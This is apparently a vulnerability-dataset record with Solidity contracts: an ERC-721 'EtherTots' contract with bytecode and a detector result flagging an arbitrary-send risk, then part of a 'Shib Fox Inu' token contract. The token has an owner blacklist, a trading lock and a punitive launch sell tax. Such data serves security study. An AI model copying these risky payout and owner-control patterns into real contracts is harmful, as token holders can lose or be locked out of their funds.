_tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint256 _tokenId ) public { // Caller must own token. require(_owns(msg.sender, _tokenId)); totIndexToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } /// For querying balance of a particular account /// @param _owner The address for balance query /// @dev Required for ERC-721 compliance. function balanceOf(address _owner) public view returns (uint256 balance) { return ownershipTokenCount[_owner]; } /// @dev Creates a new Tot with the given name. function createContractTot(string _name) public onlyCOO { _createTot(_name, address(this), startingPrice); } /// @notice Returns all the relevant information about a specific tot. /// @param _tokenId The tokenId of the tot of interest. function getTot(uint256 _tokenId) public view returns ( string totName, uint256 sellingPrice, address owner ) { Tot storage tot = tots[_tokenId]; totName = tot.name; sellingPrice = totIndexToPrice[_tokenId]; owner = totIndexToOwner[_tokenId]; } function implementsERC721() public pure returns (bool) { return true; } /// @dev Required for ERC-721 compliance. function name() public pure returns (string) { return NAME; } /// For querying owner of token /// @param _tokenId The tokenID for owner inquiry /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = totIndexToOwner[_tokenId]; require(owner != address(0)); } function payout(address _to) public onlyCLevel { _payout(_to); } // Allows someone to send ether and obtain the token function purchase(uint256 _tokenId) public payable { address oldOwner = totIndexToOwner[_tokenId]; address newOwner = msg.sender; uint256 sellingPrice = totIndexToPrice[_tokenId]; // Making sure token owner is not sending to self require(oldOwner != newOwner); // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure sent amount is greater than or equal to the sellingPrice require(msg.value >= sellingPrice); uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 92), 100)); uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice); // Update prices if (sellingPrice < firstStepLimit) { // first stage totIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 92); } else if (sellingPrice < secondStepLimit) { // second stage totIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 92); } else { // third stage totIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 92); } _transfer(oldOwner, newOwner, _tokenId); // Pay previous tokenOwner if owner is not contract if (oldOwner != address(this)) { oldOwner.transfer(payment); //(1-0.08) } TokenSold(_tokenId, sellingPrice, totIndexToPrice[_tokenId], oldOwner, newOwner, tots[_tokenId].name); msg.sender.transfer(purchaseExcess); } function priceOf(uint256 _tokenId) public view returns (uint256 price) { return totIndexToPrice[_tokenId]; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current COO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Required for ERC-721 compliance. function symbol() public pure returns (string) { return SYMBOL; } /// @notice Allow pre-approved user to take ownership of a token /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _tokenId) public { address newOwner = msg.sender; address oldOwner = totIndexToOwner[_tokenId]; // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure transfer is approved require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); } /// @param _owner The owner whose celebrity tokens we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire Tots array looking for tots belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalTots = totalSupply(); uint256 resultIndex = 0; uint256 totId; for (totId = 0; totId <= totalTots; totId++) { if (totIndexToOwner[totId] == _owner) { result[resultIndex] = totId; resultIndex++; } } return result; } } /// For querying totalSupply of token /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint256 total) { return tots.length; } /// Owner initates the transfer of the token to another account /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) public { require(_owns(msg.sender, _tokenId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _tokenId); } /// Third-party initiates transfer of token from address _from to address _to /// @param _from The address for the token to be transferred from. /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(_owns(_from, _tokenId)); require(_approved(_to, _tokenId)); require(_addressNotNull(_to)); _transfer(_from, _to, _tokenId); } /*** PRIVATE FUNCTIONS ***/ /// Safety check on _to address to prevent against an unexpected 0x0 default. function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } /// For checking approval of transfer for address _to function _approved(address _to, uint256 _tokenId) private view returns (bool) { return totIndexToApproved[_tokenId] == _to; } /// For creating Tot function _createTot(string _name, address _owner, uint256 _price) private { Tot memory _tot = Tot({ name: _name }); uint256 newTotId = tots.push(_tot) - 1; // It's probably never going to happen, 4 billion tokens are A LOT, but // let's just be 100% sure we never let this happen. require(newTotId == uint256(uint32(newTotId))); Birth(newTotId, _name, _owner); totIndexToPrice[newTotId] = _price; // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(address(0), _owner, newTotId); } /// Check for token ownership function _owns(address claimant, uint256 _tokenId) private view returns (bool) { return claimant == totIndexToOwner[_tokenId]; } /// For paying out balance on contract function _payout(address _to) private { if (_to == address(0)) { ceoAddress.transfer(this.balance); } else { _to.transfer(this.balance); } } /// @dev Assigns ownership of a specific Tot to an address. function _transfer(address _from, address _to, uint256 _tokenId) private { // Since the number of tots is capped to 2^32 we can't overflow this ownershipTokenCount[_to]++; //transfer ownership totIndexToOwner[_tokenId] = _to; // When creating new tots _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // clear any previously approved ownership exchange delete totIndexToApproved[_tokenId]; } // Emit the transfer event. Transfer(_from, _to, _tokenId); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d15780630a0f8168146102135780630b7e9c44146102685780631051db34146102a157806318160ddd146102ce57806323b872dd146102f757806327d7874c146103585780632ba73c1514610391578063464d0a53146103ca5780636352211e1461042d57806366c2d6201461049057806370a08231146105665780638462151c146105b357806395d89b4114610641578063a3f4df7e146106cf578063a9059cbb1461075d578063b047fb501461079f578063b2e6ceeb146107f4578063b3fa3eb014610817578063b9186d7d1461087a578063d2e0637b146108b1578063efef39a11461090e578063f76f8d7814610926575b600080fd5b341561014e57600080fd5b6101566109b4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019657808201518184015260208101905061017b565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dc57600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109f7565b005b341561021e57600080fd5b610226610ac7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561027357600080fd5b61029f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610aed565b005b34156102ac57600080fd5b6102b4610bad565b604051808215151515815260200191505060405180910390f35b34156102d957600080fd5b6102e1610bb6565b6040518082815260200191505060405180910390f35b341561030257600080fd5b610356600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bc3565b005b341561036357600080fd5b61038f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c11565b005b341561039c57600080fd5b6103c8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ced565b005b34156103d557600080fd5b6103eb6004808035906020019091905050610dc9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561043857600080fd5b61044e6004808035906020019091905050610dfc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049b57600080fd5b6104b16004808035906020019091905050610e75565b60405180806020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825285818151815260200191508051906020019080838360005b8381101561052957808201518184015260208101905061050e565b50505050905090810190601f1680156105565780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b341561057157600080fd5b61059d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f91565b6040518082815260200191505060405180910390f35b34156105be57600080fd5b6105ea600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fda565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561062d578082015181840152602081019050610612565b505050509050019250505060405180910390f35b341561064c57600080fd5b610654611111565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610694578082015181840152602081019050610679565b50505050905090810190601f1680156106c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106da57600080fd5b6106e2611154565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610722578082015181840152602081019050610707565b50505050905090810190601f16801561074f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561076857600080fd5b61079d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061118d565b005b34156107aa57600080fd5b6107b26111c5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107ff57600080fd5b61081560048080359060200190919050506111eb565b005b341561082257600080fd5b6108386004808035906020019091905050611260565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561088557600080fd5b61089b6004808035906020019091905050611293565b6040518082815260200191505060405180910390f35b34156108bc57600080fd5b61090c600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506112b0565b005b610924600480803590602001909190505061131c565b005b341561093157600080fd5b6109396116c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561097957808201518184015260208101905061095e565b50505050905090810190601f1680156109a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109bc611d0f565b6040805190810160405280600981526020017f4574686572546f74730000000000000000000000000000000000000000000000815250905090565b610a013382611701565b1515610a0c57600080fd5b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b965750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610ba157600080fd5b610baa8161176d565b50565b60006001905090565b6000600980549050905090565b610bcd8382611701565b1515610bd857600080fd5b610be2828261187b565b1515610bed57600080fd5b610bf6826118e7565b1515610c0157600080fd5b610c0c838383611920565b505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c6d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ca957600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d8557600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e7057600080fd5b919050565b610e7d611d0f565b6000806000600985815481101515610e9157fe5b90600052602060002090019050806000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f365780601f10610f0b57610100808354040283529160200191610f36565b820191906000526020600020905b815481529060010190602001808311610f1957829003601f168201915b50505050509350600660008681526020019081526020016000205492506003600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150509193909250565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fe2611d23565b6000610fec611d23565b6000806000610ffa87610f91565b9450600085141561102c5760006040518059106110145750595b90808252806020026020018201604052509550611107565b8460405180591061103a5750595b90808252806020026020018201604052509350611055610bb6565b925060009150600090505b8281111515611103578673ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110f6578084838151811015156110df57fe5b906020019060200201818152505081806001019250505b8080600101915050611060565b8395505b5050505050919050565b611119611d0f565b6040805190810160405280600881526020017f546f74546f6b656e000000000000000000000000000000000000000000000000815250905090565b6040805190810160405280600981526020017f4574686572546f7473000000000000000000000000000000000000000000000081525081565b6111973382611701565b15156111a257600080fd5b6111ab826118e7565b15156111b657600080fd5b6111c1338383611920565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000803391506003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611230826118e7565b151561123b57600080fd5b611245828461187b565b151561125057600080fd5b61125b818385611920565b505050565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060066000838152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561130c57600080fd5b6113198130600054611b22565b50565b60008060008060006003600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169450339350600660008781526020019081526020016000205492508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515156113ae57600080fd5b6113b7846118e7565b15156113c257600080fd5b8234101515156113d157600080fd5b6113e66113df84605c611ca0565b6064611cdb565b91506113f23484611cf6565b905060015483101561142f5761141361140c8460c8611ca0565b605c611cdb565b6006600088815260200190815260200160002081905550611498565b60025483101561146a5761144e611447846078611ca0565b605c611cdb565b6006600088815260200190815260200160002081905550611497565b61147f611478846073611ca0565b605c611cdb565b60066000888152602001908152602001600020819055505b5b6114a3858588611920565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515611519578473ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561151857600080fd5b5b7e8201e7bcbf010c2c07de59d6e97cb7e3cf67a46125c49cbc89b9d2cde1f48f8684600660008a815260200190815260200160002054888860098c81548110151561156057fe5b9060005260206000209001600001604051808781526020018681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200182810382528381815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561166d5780601f106116425761010080835404028352916020019161166d565b820191906000526020600020905b81548152906001019060200180831161165057829003601f168201915b505097505050505050505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156116c057600080fd5b505050505050565b6040805190810160405280600881526020017f546f74546f6b656e00000000000000000000000000000000000000000000000081525081565b60006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561182057600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561181b57600080fd5b611878565b8073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561187757600080fd5b5b50565b60008273ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515611a7e57600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055506005600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050565b611b2a611d37565b6000602060405190810160405280868152509150600160098054806001018281611b549190611d51565b916000526020600020900160008590919091506000820151816000019080519060200190611b83929190611d7d565b5050500390508063ffffffff1681141515611b9d57600080fd5b7fb3b0cf861f168bcdb275c69da97b2543631552ba562628aa3c7317d4a6089ef281868660405180848152602001806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b83811015611c39578082015181840152602081019050611c1e565b50505050905090810190601f168015611c665780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1826006600083815260200190815260200160002081905550611c9960008583611920565b5050505050565b6000806000841415611cb55760009150611cd4565b8284029050828482811515611cc657fe5b04141515611cd057fe5b8091505b5092915050565b6000808284811515611ce957fe5b0490508091505092915050565b6000828211151515611d0457fe5b818303905092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b602060405190810160405280611d4b611dfd565b81525090565b815481835581811511611d7857818360005260206000209182019101611d779190611e11565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611dbe57805160ff1916838001178555611dec565b82800160010185558215611dec579182015b82811115611deb578251825591602001919060010190611dd0565b5b509050611df99190611e40565b5090565b602060405190810160405280600081525090565b611e3d91905b80821115611e395760008082016000611e309190611e65565b50600101611e17565b5090565b90565b611e6291905b80821115611e5e576000816000905550600101611e46565b5090565b90565b50805460018160011615610100020316600290046000825580601f10611e8b5750611eaa565b601f016020900490600052602060002090810190611ea99190611e40565b5b505600a165627a7a7230582088ef1ae7acc981b4a4fbe0661811b78656e0091ba53e295c6319e832491b4ca00029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,753
0xeac8969be4b988d820f60a19cf19203cf597fa72
/* ____ _ _ ___ ____ _____ _____ __ / ___|| | | |_ _| __ )| ___/ _ \ \/ / \___ \| |_| || || _ \| |_ | | | \ / ___) | _ || || |_) | _|| |_| / \ |____/|_| |_|___|____/|_| \___/_/\_\ https://t.me/ShibFoxInu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SHIBFOXINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shib Fox Inu"; string private constant _symbol = "SHIBFOX"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 9;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 9;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xb6e5Ba05E79efB962B1887B4638ef2283c641512); address payable private _marketingAddress = payable(0x7ef5084AbD9D1A372cf31E0492F57a008f13C0bF); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 15_000_000 * 10**9; // uint256 public _maxSellTxAmount = 5000000 * 10**9; // uint256 public _maxBuyTxAmount = 15000000 * 10**9; // uint256 public _maxWalletSize = 30000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); event MaxBuyTxAmountUpdated(uint256 _maxBuyTxAmount); event MaxSellTxAmountUpdated(uint256 _maxSellTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee and max limit for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; require(amount <= _maxBuyTxAmount, "TOKEN: Max Buy Transaction Limit"); } //Set Fee and limit for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; require(amount <= _maxSellTxAmount, "TOKEN: Max Sell Transaction Limit"); if(block.number <= launchBlock+5){ _taxFee = 45; } } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 